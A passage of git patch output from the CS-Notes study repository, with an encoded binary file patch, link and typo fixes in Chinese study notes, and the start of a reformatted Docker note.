zolaFIo$V-$ekiLLR=6$Nf$OFi=FE}TQCvHxvvUsl6%tX6yJQJ)$Ol1`U4Z$cCtzE)
z?rc50domMFIP%IGxSnNSpf+NHI+K_t4f4s#SsCPA49LVF{6RbgOSs~y2T&V&66MKo
z75V-MTZj2P7Kxn8gVXPhG^4@R-LO#?a^ljLjXHRJ4bR^8oS>A?b}=&TqgC!~IoFjL
zfxL#JOdpjW0FVCWRkj^yh)j_R18EbH7Ar|W@gq)vEwL2J;AV6r4E7WOTQvZ>8Z3f{
zyz=Je7!<Zr*9CO8Zc!TYMhqy`Q};or^!t!|6nQ-h*g^@>k)R)zK^6g%k>S4i=UKq-
zU=H8uA`JCAkldDUfUN&}0$yJr=Dq1qb3r#t<HBHto1lU5@&IxeuN5m!!pE2XU=e}`
zs^}mnILJ1H4<ptp5RkM$fX&v(eB-n7;~b~}qLMGiOOSwjZo#<(79rq+8gn3iN4o7{
z%x|PSOdbTkbl}XvOwyc#%sXL&g?X3LkS}}aJkp26BQh;ZNdo|~2&hC)E)Mi}GSoG~
z3f;-e#t=^U*l<K6&9B~m5gYDqf<&DfJago=HH2j@5MB!a2NvKMP@}?ckQQ};0f{+C
zFa%nq7TFt!PcuBl8UL=Ow5h3SP51}YCles^SD0_3<g7Y=Mgj;Lgrr`jtJ<D?-6t#+
zuSxnE@tH7mzCpA+4=#?9aHC?2*Ta<_h?vjWJ#F(7-e#c#$aJ2#w@9>U2tVap+yID=
ztQ9qajGeuCM@c=)AO+Y+HX!BRhZ}fcH@r6bbUJco5Y^AiJ43OWsA)up7dxftK-*wY
ze%Ru<mAoO9^MVoB_^Mz!%Qr`<Gwrs|;Me^uMY%t37XDkrxUa-IO4Oq5^M)RH^9Nhc
zzvPZ9`vf>J76iieLXn6{$g+sT$LFAM_`HDrM`LJ+4-<C7vk)LG%dQ+(b?CId)xn&+
zUC3<fX42cySQx}6fb}2Nei~8u86ChxPuN*)t&&%OCsJiH4`BL3HBPAS;)Bu8k7c~j
zaByc$GoA9y4nx3AsYK3<ynLAY*?F>wnN`9uMV#r-27F)YoE$P!@F7g*=Z3&YOeRtS
zeDbSWvbr8=96ft$$y%tF_4jc&rYR`eN$2A`fpjuhII0BsKI*6_L8Di*9;Q&EupnA)
zaw>ayWe_7{EHt1x1iIx!@sLqmZ(Ifa-U4Q`=?FgIv#C`}fZ<$Wz21YX8FMvPQ(HuO
zbR!Wj-W(A^2=vGmDtItzPyQ%dZ}l(zs>=mEvzk$vjF#;w8$TK&1!D}zv7$@<KYAvu
z%#I1~i<$Ys_$v!wFgEA)f0z<`7CA_!?>w82Ur_7%`PYUTyt}6q$rG(LKuwWH25R{d
z6Zb%149A*VD7*AP{#JPp4U0$vux?)qy?!H-ateL(9RTB9RLtepx!m`*cR^<)Ydx<6
zO5GN<W{yimyqM#dKC7sup|aNaq-~D-bCCdUwX5*bt1M^Tf9AHO=Qk9yG~z<eYQaBy
z(_zpgN!<C{QYAcB%~|bn)p5e1_c)R0f53=7%pqfg_!U<9OBNk>HkZM<`uwvn^&Plg
z(VfXg`TtHB{QGtPdB>LM{@49&)1ti(VbDp*-REI!a3z<jytEjo_EMYvvBA^+0f@}b
zm@=BI`?K1Iu$_}i$zGoA0~R|{+vx~lou0hjw(oxBU5Dem%#inS{g@Shm@G(fM&~pW
zv|y3hT4ldX%m-RHeCY_guX(zwt^E?Jn!}7UtD*;FC0u4TYD(uQ#{fE-gBzA#IP&~m
zBqQ8o8MRzmf%-=nVGXLfpq}<nbZx8b&SU!l>V$or4&E)+xD;sw(?n)2n4V>Bs}8Lc
zrPn#p%KP&PoI#fK$<k4fJ2yy_5a8yNgP-`_-6wC~dw;~9LEs?f(@W#$8du>(3tLQl
z`TCz80B~E6JYSyX2Gn=O(rgSZBRn5e%H^PUkbE~~R7#S2ADv;7bjCu0>i}2RQTHBM
zXZA@@b#_kv1je8W|2g<S3uCgxc2OT)h)4j78n_5NH+rGm?~k~^&&TE@pl%#QEpdKG
zybSFF2%fKT3%*lvZZ@FD$b4=$zS|NnJ=e_1D2Ke!08ntVH7y|he=pgdg|Ec%n%;5e
z;S(@`4xMHz(694|xDD^aan#~YMgWNedTbkP-GiVq=YmnST2_(l{Uwv{eSk=+A`)X{
z&pTKxeV7Fr6q51J4b#2B_$JN((?6$mPD3fI>y0H>5k+^p=w>UGyDnIPYJ`lCdwht8
zZzHT9dv+E!hm&=f1P27ZTL|**B_^;_0qtTk*OR*{5GYAh3rsLZoB=YsYw8ugyW4(Z
zyQdHqgj)@HB}J7Tw##K3(Qb5q01DOxp>}5=$3N4F=dlj*4jISxxFtyBgbtmOtlq@y
z|Es+#4~KGp`-2b(N2!pd(q>7;B$H4nYm1SwWho5V3lRp<dVaFhF_sv~lCfkPYX*}#
z%DxMQPGn0IMu>Uu?{v<2&+oe4Ki_|T@AdX)mwD!y@AEwO_r5>dv(5OuozH8gr3XF6
zq^}`0y&z%ad`I$7VXx;umL*R@!G}cHJPk5XODO#-OF1hs{+i<RG6Z;NLh@CXGX=vE
zsGUKQxAbr6t`FR}C#;&MHXT==mAe8bk~GTkjt#kJ%K?v=X9~WQRJ^?YZ9z$ASXJiA
zZ+)Aqk@4bDg*#UP;<twNmiK`w+y!mbFl`VY<#uBB(B=*)K0+AqojQ=13|nlHXklDs
zjq4n8c|&mNNQnh1^F!A{*w>QlgI(ag%tOm9i)T|Fr{hW*Z-*~6W;CwW3sP3(kuz{r
z-pqN^H_-GIf~L~~!n^2<1e~8QguN}4XW#34w3UN<7&S*jHhV9CqanZ-J}_Z=R40jV
z_nAZ|wxIy5a`LvnyX3zs8!a@+Gtum?-ffnyA6wM2*;Q~kXb}W`X%Dpd$zG<P3xSVY
z8tqM)#2oQly7G2(MCaBzGSX1x^}q^1;)K;ev}NQt59L`3&dU#UMR}cv*WX2<FGDt$
zZBs{bK`=Cb>}=UNvA}>aJAOS}qNSt*c9Qyh9H_aT>57@FA(pikv<W9;V(!=Y2By`L
z!;0mEs*`)a;Cue%s%Yqosj^0)Bh5Ri%{$0bh0i$J1j)FEc&m!yN|PIS)k)fjRtjD@
z2FI`ezU+n{x&}Yw6&YaKk5ZzyKi<7X#*5&I*|g+{jmfkuea23*a`<oRtq(X*N4neK
zn>$SR=TfWJ$%gU{@~V<8OpQeVW?>Q5k}CuQRW3#Z2Qhvn=AS<ymGsMxuXWPPt9p{#
zo@h~bJf@Z6d)6wFOdeuoC<yGn-d=OEAs>l%k}jU$wNR5+vF8a(*PnjsspkIfu#Gra
z6+dULX}Fi1`?^mah3>dUULJRu^~HU+^S2(eW3<cQ!}LfL3&B#?m1x8#ttIR31pne+
zcGJO8x4vqRexa3w`M4J!?|gJzw)2mmNCdjR={r%irplVA?DCct6HI}ROccI{6qMxh
z&Us^-Y$Sk!W^xMJ;UH4$CT^L5pJ%)J8U`aI*vJJhr8%$X<XVxW_>5zb%=6Cs=WNoC
zwL@b~Z|~?>aRctEdf-~O-1(dd>D{A`&mA-NQ2J>^tOKe~VZF*EQDt$|D=+5a;OFX1
z%<Dg|T>@0&m>_AxnaI>fC-}n|b#s5)SPi?ex*v-4W)Ddz6xSW}^V$o4D_Ld&mbxkn
zZFvpQmc2T#{cZr1el5yI1#Cm+tU_0~BLIcSV<~aq(oNNfE&FXl=BN65fX8wGjpLmA
zE$43?=?0rMdkRn75d@Lt5f_+OVpl<x=BU|f$(0!@K;~^xFL*}3y;Rq>syCI|xOmMc
z#ALKCaXP!y=gWb&$*JOq>RQ~&zWz>1x2y_2WGXrI)QPKH((k^yFw`%4cr>r?qldBQ
z=XS5Vnx+O9yY}LMW>B5+PU`eofYQqHr|c9yi|Wf=>Ve4Sv&O<**7Yb^4(cT2xfxvh
z@=mR~KL{ke;2KIsfQ%6zS#JH7Fe}NYErY`zVAB3Iy(e?hqoG`zkiP3E+c0Z=U;V0v
zQuVK}LxHoG`bfLtMp|S#QT=)3``JJJvP8xCg84((FYWWkRb%FY_#c41vCr=M@atbV
zcZvu?YZRr_`OP{#N=#vj3x7E;L*Gi!5wxxim#`snW46>|_W4D2h)~{I5&y4}@5!S3
zL=T3wbk*PuMpT|t>rCi8;b6U$wqHIn3z`_+odr$<sgLxR%ow{a1Vpet1mw&g;%+>l
zd9+l`pmh10sbbjrFR#J@q@OoZ{Rn@rg05rd%O~<Vf`=Cv7P$ibK;-fouBdt2#5lJl
zaB1Xs+WjP#YCp}o2Ad*RE*0@N*}~rTQ5uxcv=`~eiJp-@P9Z<?#1H>?m@mDf9VAIU
z5jz<o_mE5JZUQ8s4T;4p`E9Tc%E8S`IQE;S^SgDX#y7G#p<fiD^?`sX7C*KuKmV0R
zBaLN_uPzTsxq!=06J4%MAhHD9x{c`sl28nTPGF3#dHyo1VqVI9ovHL|6K?FxPAJVU
zx0_{!Hu=-UxA~>+Et|&W{W^j-3*9O53#_m(7FkMLcWKBe-dT6;&iTumwtqLX7WF@W
zEQnpn2#kZYdy#UZQj?y*ZCDHa{0Kie<#eETNqTdc04dRyPg^G^G+pj3@G`TCtjP-K
z*#G>)KWP!d$$V|Od(c^UMf#}2DzTmR@Z-4~%H^*)DBfDhBbl_JO;s-^bYx(|Laxs;
zW%Yp9mx72pu(hz`6pS`B*_L0PZegy5v~|;4?m#Ts6_%g4nRAHPmqkQ!;Pq%>BXMum
z<+55M6^o1vSbi0ZG>Ow6C=w0-JcgKm<6XJbi|hLHm+?Qz6ew1L<do&7qH;PU^}HHW
z-AX-JcY&YFOU!>4@a+a^=@m{wgLqr<0)0^M$9KoKqptu>Wq&ZcG?BTl6<2$$;l^Zd
z#j!fD#s2l#E~y4T_K#9{wD8jF@BjZt|M0)^e-I|?(*1^J^zc(Z<>P`Y><oL&={ynF
z#S|JgC`5}u1kyjubQh~N@#%kOG)1?ve<d8D!8G$yZvQ+jdc$ayK-?_8P+Zl+?v+6r
zoFN>+psBsswd>982#OSQd51~XpD7j$5k3R~+)YSi6#fs&L;lVC4D+@1UyHHX1_MSm
zunnkrHaVC}6Xn0a3oCe@{fMdi&D0Q{UAPSXiFuBV^VKL<DF&iZ&Ok(Bn1_rQ*a<t4
zWD_8=b?m`vQVWp#Dd><^i#bL3*taASd?Kq2nA#PTl{>hIIR-^fQNxEE;CaCN@Gn<}
zBK3ed%=M_1yatF#09f0H<auOc0mtcwQO6C2<^yz|vE@pHX+FE4mTgV1xKj?cT;e#c
z72rEiwj~eV{D=$DMs%$9eIES;WTZ^aH7j`WsU=x@Rvd;+1Z}~<<_uP-g<~Kj?Qk8a
zynZp+M))7RPk67sZ1E6QOEnHq2~p;9%426}$5-j^q3okh8u`j$R7K$Ls#)2>J^227
z09kB!vN3|P$V4HNr2^47BVbVZ;|Xop72pF6ODa7A!9*~gz6FG)R-+n*R5@wQpw9+_
zap_ux>uwv+Kh=^nhkfB&>HtM?1dO-vtj40OOJr&22xOD~`06>md5WJdh`Gm3ow=MK
zR(5sd*Oqh0WiSb?In#3yw&R*2jO>G<^*J!c_W=py0YGC35+RuG+H-!>Ui`}npGhJF
z0hfXl`^bznW;>W6Flp*d6a=HkzBGYUrUgrgTVlkf9|&73OSa8qdr;51C^<TXZH*!9
z2^Uk|H6w-jhQgggVpW9co*zP|%g;X##?H4|=fJM%`GYq~rgQGpvg&TbI9mj^pebGM
zCSpe9w<v(c=5v4;$FMZ46NbY=#229eIPXj$U7sI1$W-uHziiDP534+UPJIEqW(q{+
z^V8;2sR9%s34s`fEmbfF!1slfaLhMU??SeElZPQPHc*qyyfp5&@s<G&%lY-hX?NP4
zZ=m@tv1M?g;5Cp;DY_62ngK~MsvY$G!=2Tmf-=F#X8!tE!=-BQ3Lt1$NV|9xAJz?A
zP1_jPU9JSTALCDxf4tqUXx?+xl$7^L;9*K|_eYCAs*wNi1^>?jto;b{PE|EhLIV@B
z7qWFYa+(J^9+N}(UPchN`h0SQ$)k|dVZY&RkkPj<TuIg-sYh|X4u;1I^X)Oo67JE3
z-g?_oGfDG&*WQDgEc|<W4((*7I%E%ZimSROif&~oo|g+GQ1P!|vmYPq!F)s67$Lza
z@p@QpF=$$l@5ND9MXRekHevDmY>OsW%Nk)t9DW!a4XY$jeAT+%_rH2u-vp5E6`p9O
zeW9uNo-ODEtQi2bxj}TTh6}Y<Xlh(sGpN!x+QD2wn8Y8uRMlx7vs5LpdEa~hsoI%1
zo1Is6DTd=*2vjCaCFgow?1?8Mz6k}Ljp<CQEV~?X1Lxg+?^_oE9CCvpEl52IclZtu
zBuXhj-UHH8!(&u?TIMkZExg}J+`tgvK^n7dU}n=C#eXP-CqHQ406ZRIWt>J=!7YSR
z(UQ%n=6X$LJQ9m*YSV+<AnkVgU)_*@#g1<q!tOboCI1<2>dM-*=BAEtU6eVdKu0;|
zaOZQj@SGDy?gp5>i@}+(w2;g^7sTv!JOthIpqH3HtXz`ib+B*O1aR)zgVtjpg!2;s
zzizN*Qv0yRcoaURL8_R3o;E8R#iBWDNya-i#(hY^2gpOc@c@Lf5TSwK_i#ca7tea}
z?*hbAr*4xLM`D8xDTai?#*C5S?DJg&IBS_=u-@K>KxwY(tTOOPwqKNt((Jrp{=q1v
z5ZY5hhM}0tKqU|<0g7RR9!r$Y{)z5f7r^rhk~B!T8CBpD&?#<zoS^}e(rkKxMW`tl
z%92mMX>6ncH-M@nX<Q*h^{JRn?ixrbB}Gy#XigVV;%W^jDRin$Qz-y+yai%JO=Rs|
z5%dWD(oWHDigSHe*2W_w<%&3Xs5SlzZxL2HWNI+y^qH$N9sr8B5K91>=%(1DQs=Jv
z>Otg?xn`o}sYI(%HOFGK5m*)y_#{3WI_1S2eTW4Jq*BPQCj{uA4qN(W<`a=#E;KW^
zacyy>4^;V}oJjXhC+c;uo46u_rShHDwd_<A%;IPGY7}`Tjd4ki<*AiZd~duX8ZPFN
z5nrP%=LhacW?Ojy+$5#^qH=x@bA&X$*MQ;sgqMPhAiA&iU=sA&RvVB=62Rr8sTn5R
z0KHIAdzWLvh*#&aZQo8!M6)CEq^Q@pj<ehqC3~)HcWzG|$wOnf-3gj3S>m8pAd*C#
z)7rSNOM4h>n*-_iy6sNEW`I`b0ziAnf6fVM7?c*muE(9*kOnp+V<pJIKZ#f?gr^#R
z!agBI19>+;y`Ect%H+)1v!$0iGOldeDLjfEpN;#QF02A*iqe)nw4TiF^T`YVG?G+~
zaubf)I`g^7;p@)&Om98x`Iy&TQ95J70tIO0{0=}zFQAwYgEUiK%mS(~Wnfe6T?stW
zfR*`afBfDHT=x(-qxGAUd1{1oJlwoKfVsQG+rSQe^t_^Z;Y+Rz@gHgJSF52EzXd;y
zx*>P$I%C#v#IoY*a|}z>JrAPES~eh=jO4uxIc+Ut$ZK4^8%4W-VO=6cL>Gf@!zYHy
z-hJ|i0A3pmre??{Fa)H|Lh!h==346pr-xX>oA@1MhywGgA;ig9(BfhgZQiuIbQaGg
zP$A|mwg@Jh<(?Bo$osHBzw_o)icyo_F2lGX7HdhPRbgs(a^NMfWzki?rp(GmZ9yyc
zGK8l=T*c*HYI8Yk+T|_Qa)wTx?{mzREi3&BT83qxL#GpXORl@Z>a2v?m1p-M(`#q;
zmDxjtN^J`~Ps5N43;dNq8%9uS4Qf0lZB#8bK^QK8$Aan-KjY$scQ80gh;Cq?{-_f@
z2Y|U8A!qF3@qh!xgNCD*;Gz^#g5v>@%z3zY@Iq7R(Yop0DoEBW^k2W#&Y_-sw!)UW
zb70BWsimNzGV4I3dxq0uHc_s44lCwJym21IcF71j)#UQ*?6WHe7+o{(Y?CFe`b>Zj
zHhUHdL_kd|W9E&lV}6cRUdnxzH&qh1&=_&SFZw~3$Lp7|jKbsX+znuTLX=6Ro-w$?
zAnyDUczQoHyugN0?Ffg@tkE?@SLcs#rpd%zk))4LBOU{%$rO{EdiA;EX{7YY0(i7g
z!qJ^VZ4cMuU?O<4NnyU+qrar-wve<tN;S9Bp7WOi1*tEo%V@j5WKpt+?gjQSf8*&*
zcx7JUP4$5cJm|tkIE=f1<I<e;fNGEC&}rH1UWztyVt@=jtiiggjj()cUL0t-!s;Nf
z<V-5hIA2PCR)Y~?Z(xTrJgM=ChzSQ1mJ385&CDwK2%L=Gell?HMJVL1069a}KcgmK
z=OzFS^@nY#J=x9nD`;279s%b`a*_g=pp_=S^q1z5z_$f)KJ=OZ3_D5<BN9RkRuMMs
z*ubrubR8@~xaqUXT1zGd#OKfgLE-*JPY{2%n-d-QB^)?2!D!s)=}>0RQ|m|0&BoxP
z(oDSy4>aFw#hMv^bOXw6nPPMv*a_S=qL%74R=?XJkteURWN#F>Jdj5g)jARFqz#!`
zOTf(Wtls{PR`}i~1<^e|DiNWu!AY*L4*K1^OLl94a8T$(c&pWpdr8Ttq0*&mE1u?}
zl}9H7lT!rwF6Pi>1}Xs@m{sHoK@x~dD*;O_YHC$i+9-w)SfE$5@zxsdce;*`kx9WQ
zG@Usww?C`xw}^TpJ1J6C!m(+f5_#)^iCeyZ9~gb!fpuC3QDuvgRdHb_NS3-M`Szm+
zDtUuhRp51bqbE0&3_AOPZX8ig0`Wr$>~sCV+6T6>DwOs3H{t?}8>B?tMTG~4b56tJ
z{W@w(W!WXsm*BYyu%m*ke>r*^;!%oByV7)24|*4!$W!|1Rnrn_6G-D(wb+-f%;od4
z7IZ{ls3H!ipIm<L-5C~21lxWfK`-DSN_}>)*?r*|!i}5u<~s*Jg&6DoHemknePs;N
zZ~eU8Ny%9fYjONKs=K^PvfM4kW;@o0gZ;Y4#)Uso<r4><-5koMiy5w;fw99G?44hC
z-otTu0V7pqZ?rr}yFe&1<iCyf5wQC8qC(oj%KK=rQCD=&MuO=1uCGM^je}}jJ(y*>
zo(lNl{MXo=qxN*(hyr*~MP;A&n8PgLb4i#Z<t7Ov_GY{WxAaz6)Y@$K!(-Sq3BC#a
z3lJ&6(ln(i7Z4fqtf#GfGCu69{0o|gAS3s?2tiUmk8}lIsF1>2kLXAIDM^QK%}1uc
zM++yA+P#piH$Yi*Q?aVDU(^b4_&-P+g9iL36_v2AMouOeqnf~&FSMV~r)^Aj_e{%P
zN1sV-BP6nILH3DDV&FxQNSs2#9(qT<`0?@L6p3G;$N$=Mca`Onc-MNfg?P64X$%#S
z1zP-gzgELe;E<8GJ;-e3@v*SL;6!pMxFZL{v;o9N1OPKb3;beVAD6?v)nD%Q)R(fJ
zC)YOr{CJCnd-g)l>T{Uu-U97>^taoOUWJd^E?#@IkNGBC$qmKsjc=aJv6#oLs=*}E
z`6;h&13Jqm=q#Vm%fU2U0GL)kD*cF(1~uLH&-UQ43nW@JWQgvXXHn18`cI9q&ZvU?
z2u>JN$ZWF$WA>wGjg+JPVHvna=R?L;8ez-hw9h6fMgfN)cl5i9Q<(sndDXew!0K}G
z1$={7v7zc7_t+P!bMNHm+`P!{Ela+qDdoHR?H0`!#h_@J7wg~+EV@L^in`$jnE%~i
zDVT4-td&*DY|Nt3%Hb(L<UMxok(yUV^**p^8v2@IE~3k-wW-N^@7!K{Ijud7YaFq~
z3V5B^Jx&uf%eFQ3VzOZ#>#FFWj?@UF=0mr=VQ}<1%(p^CBDuEZ3&UIxnV2~p<Jwo4
zo7;ayqyJ;asM}l}8uM-3jy{|!ux+v`ke?hp?A1ojZ+R2Rzga<A-EZiAJT1)}#9p@3
zgVoc=tWu1WUpQ0JMw%_^vvz2Brw&0#&9$K#j=>|@c}2~tQ&9a?`}y|W*hk2TQ?h#o
zhA>~huEu$=aDOs*Jnzd@6O6K}LW0v}Qb`YRxIaKXG$1+$@hVK^gQ9^ixEnmviAwwj
z_?0cJk3jb`7)I4f6Ki*BG&>VlqA)qjmvlwlbE&{*3|BL_3h;Nyv^{g>q5qEtk24mv
z8M!~yPFt1~CFuk;FcW{|crx%T-X#n0v%NV(Q6Kl{hfs7S8!KeF$2r^N5VsV2m%|vQ
zF_{_ffbHcw^p20rS*<U9qNuIUCA&3GCaX2;kpN>x2*XZN!C0f0cT_&iIj%SM*}klP
z@(T8b5vIK{j_HwgBzM3%ig9(eN}de4gTY(5^|*ge^f3J{prPr=l?*Qp>Kzh#+84no
z5R;Y2xC)mh$legj@5<x=Qg85P4`q__m-;SC+k?ggy+mceUPn19!MxkG0EdxpMZIt&
zUz>S`GO;lq2ow~c94M5-nH@SgDRqPkgBS!%9?F*)czcpDS{<5BtfMIzpSD$zr|wT{
zE|^g0OVtrV=(DLxX!>gNPiR|)szoh5n_T^7FhiKSUo0@FtT{hM?rDFgn#;Q3*>!|w
zTdKJ(Npe1bTW9J@SC7#)<0f*a(^D97q{O@YbXt1CXCT79^237&{$5B$P_=4Tdx-pw
zD-ZY|fQJRcjx@qlmTWt5+s~L{`?mdoepAF{qM?D3=yq&C#?b(NEyfN*+D(G8!-PUs
zdLl0459ptb+y;s+)f&mi6Y62u){|0Sj`f*Ve!<E)8kgdDe!}Z5=`&>tJaGgMHMiXU
zg}G6xe9jApvB5{lG0J8WE*YP2{QpXzCqhF?f)E)bWD>eR(V6`TH_`1s*18R8hLtS4
zDGe-K<i?-)0;cki<k1vi>QHJt&DKt;Nh?b&ocZH2E1AhD_b&5Tq&Uak;mo~JOt&n(
zC}RDS_o4*IYlD1JO)}@mZL7_>r*Z{YMG3Pv1CnjsR#r2*sH_%|A<uvVv)M1E3c|b9
z$e5X3Xk#BLz8vY`8A%ar@A*~_BAx(VbDte1apz0hO?&e;|Lfza&N3ZogKbw{G(@Hk
z_WYGIy2xm6bRedZR|B!%+FXfcqbDt(OJZZk80$yOQL6XGTM@hNY5(a?dHI(+g)E8U
zMZI<fmAoUkswd1}-}?RQSqW92drDzlv)F#B1C0Ths!&qcSQ6$g6?|kX?-_ssa~n?4
z1xU>`ACm2lQi?X}dr`vT!7Z{T$_f1nnGECy0PL4GiVsjaA<eS?JvOLPcfVnlishnp
zoi!o^U0a%_VfSal=NMsQfPhaxhF)&%XtJZvEfdks_MXIl9<O*~Nz3Cat6z_|6otqB
z<8wd<6>SQ3A@N3*f*WqB4o}^7)~SQyw<mPxPxK9QK(xtLOr0oeM(4fXR9t#c3T6_S
zHbfF>8J<)&bMIR&y1#0Fqo;35b5W`uKs>ZH{{4fo)AvvW-(RQ6CQbkTm25ut?}H&@
zCwkcvyLQEGXY;>*odeu=(5YWe-SzLC`s_h7@@_af8vqeD{x|)^yI2mdf9fYfZX$pT
za{vwnYO%(8a-RJ-cEZBHsWS&^hdIQsfyYV&`M)tQJAwOhg)%_^y^9e3-_`ICfo5|f
zZwuxn8~3_PML85Ovgbm&F~lj2b3Dv)f$6UZQll)ON1Os~jmdtEngH@2ql5p(`H=V#
zsC`FyLJkVOfN2xHoE=ws?emtR7|b8&Weu2@i7(QL`=pQhYjgj^7hS<c4e>}??@-7y
z{QE!mX1o8)m-E>&SsWoUzqHby|51f5i{8mI+Ru*LhW`Kaj|$%ZKmY%k&;Ne`qAh*{

literal 0
HcmV?d00001


From d5e16e997c894e18326602a7116274414b3757c7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 21 Jan 2019 23:55:19 +0800
Subject: [PATCH 033/100] =?UTF-8?q?Update=20=E5=89=91=E6=8C=87=20offer=20?=
 =?UTF-8?q?=E9=A2=98=E8=A7=A3.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 docs/notes/剑指 offer 题解.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index e63bcb23..9cfdaa1a 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -116,7 +116,7 @@ Output:
 
 以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
 
-<div align="center"> <img src="pics/11548084848123.gif" width="250px"> </div><br>
+<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
 
 
 ```java

From dd65ec57d3ab8f9b78b8b13075247d8d7fefc1f4 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 22 Jan 2019 00:01:54 +0800
Subject: [PATCH 034/100] =?UTF-8?q?Update=20=E5=89=91=E6=8C=87=20offer=20?=
 =?UTF-8?q?=E9=A2=98=E8=A7=A3.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 docs/notes/剑指 offer 题解.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 9cfdaa1a..140023c7 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -116,7 +116,7 @@ Output:
 
 以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
 
-<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
+<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/raw/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
 
 
 ```java

From d7df1f556f3f8c1293e88279edaa991049c22649 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 22 Jan 2019 18:26:48 +0800
Subject: [PATCH 035/100] Update _coverpage.md

---
 docs/_coverpage.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index 473cd765..933e845d 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,7 +2,7 @@
 
 # CS-Notes
 
-> Computer Sicence Learning Notes.
+> Computer Science Learning Notes.
 
 - Algorithm
 - Computer Networks

From 315655827b0a8ad267a809ff2a883857e15b7f4b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 09:06:42 +0800
Subject: [PATCH 036/100] auto commit

---
 docs/notes/Docker.md                 |   90 +-
 docs/notes/Git.md                    |  143 +-
 docs/notes/HTTP.md                   |  950 ++-
 docs/notes/Java IO.md                |  708 +-
 docs/notes/Java 基础.md              | 1439 ++---
 docs/notes/Java 容器.md              | 1456 +++--
 docs/notes/Java 并发.md              | 1809 +++---
 docs/notes/Java 虚拟机.md            |  750 ++-
 docs/notes/Leetcode 题解.md          | 8858 +++++++++++++-------------
 docs/notes/Leetcode-Database 题解.md |  904 ++-
 docs/notes/Linux.md                  | 1262 ++--
 docs/notes/MySQL.md                  |  393 +-
 docs/notes/Redis.md                  |  720 +--
 docs/notes/SQL.md                    |  767 ++-
 docs/notes/Socket.md                 |  374 +-
 docs/notes/代码可读性.md             |  325 +-
 docs/notes/代码风格规范.md           |   11 +-
 docs/notes/分布式.md                 |  336 +-
 docs/notes/剑指 offer 题解.md        | 3561 +++++------
 docs/notes/攻击技术.md               |  152 +-
 docs/notes/数据库系统原理.md         |  577 +-
 docs/notes/构建工具.md               |  147 +-
 docs/notes/正则表达式.md             |  346 +-
 docs/notes/消息队列.md               |   62 +-
 docs/notes/算法.md                   | 2939 ++++-----
 docs/notes/系统设计基础.md           |   73 +-
 docs/notes/缓存.md                   |  307 +-
 docs/notes/计算机操作系统.md         | 1092 ++--
 docs/notes/计算机网络.md             |  898 ++-
 docs/notes/设计模式.md               | 3579 +++++------
 docs/notes/集群.md                   |  152 +-
 docs/notes/面向对象思想.md           |  342 +-
 32 files changed, 17431 insertions(+), 18091 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 1c200848..ffbadb83 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,92 +1,86 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、解决的问题](#一解决的问题)
-* [二、与虚拟机的比较](#二与虚拟机的比较)
-* [三、优势](#三优势)
-* [四、使用场景](#四使用场景)
-* [五、镜像与容器](#五镜像与容器)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、解决的问题
+# 一、解决的问题
 
 由于不同的机器有不同的操作系统，以及不同的库和组件，在将一个应用部署到多台机器上需要进行大量的环境配置操作。
 
-Docker 主要解决环境配置问题，它是一种虚拟化技术，对进程进行隔离，被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码，不需要开发人员学习特定环境下的技术，就能够将现有的应用程序部署在其他机器中。
+Docker 主要解决环境配置问题，它是一种虚拟化技术，对进程进行隔离，被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码，不需要开发人员学习特定环境下的技术，就能够将现有的应用程序部署在其他机器中。
 
-<div align="center"> <img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/> </div><br>
+<img src="pics/011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png" width="400px"/>
 
-# 二、与虚拟机的比较
+# 二、与虚拟机的比较
 
-虚拟机也是一种虚拟化技术，它与 Docker 最大的区别在于它是通过模拟硬件，并在硬件上安装操作系统来实现。
+虚拟机也是一种虚拟化技术，它与 Docker 最大的区别在于它是通过模拟硬件，并在硬件上安装操作系统来实现。
 
-<div align="center"> <img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/> </div><br>
+<img src="pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png" width="250px"/>
 
-<div align="center"> <img src="pics/7e873b60-44dc-4911-b080-defd5b8f0b49.png" width="250"/> </div><br>
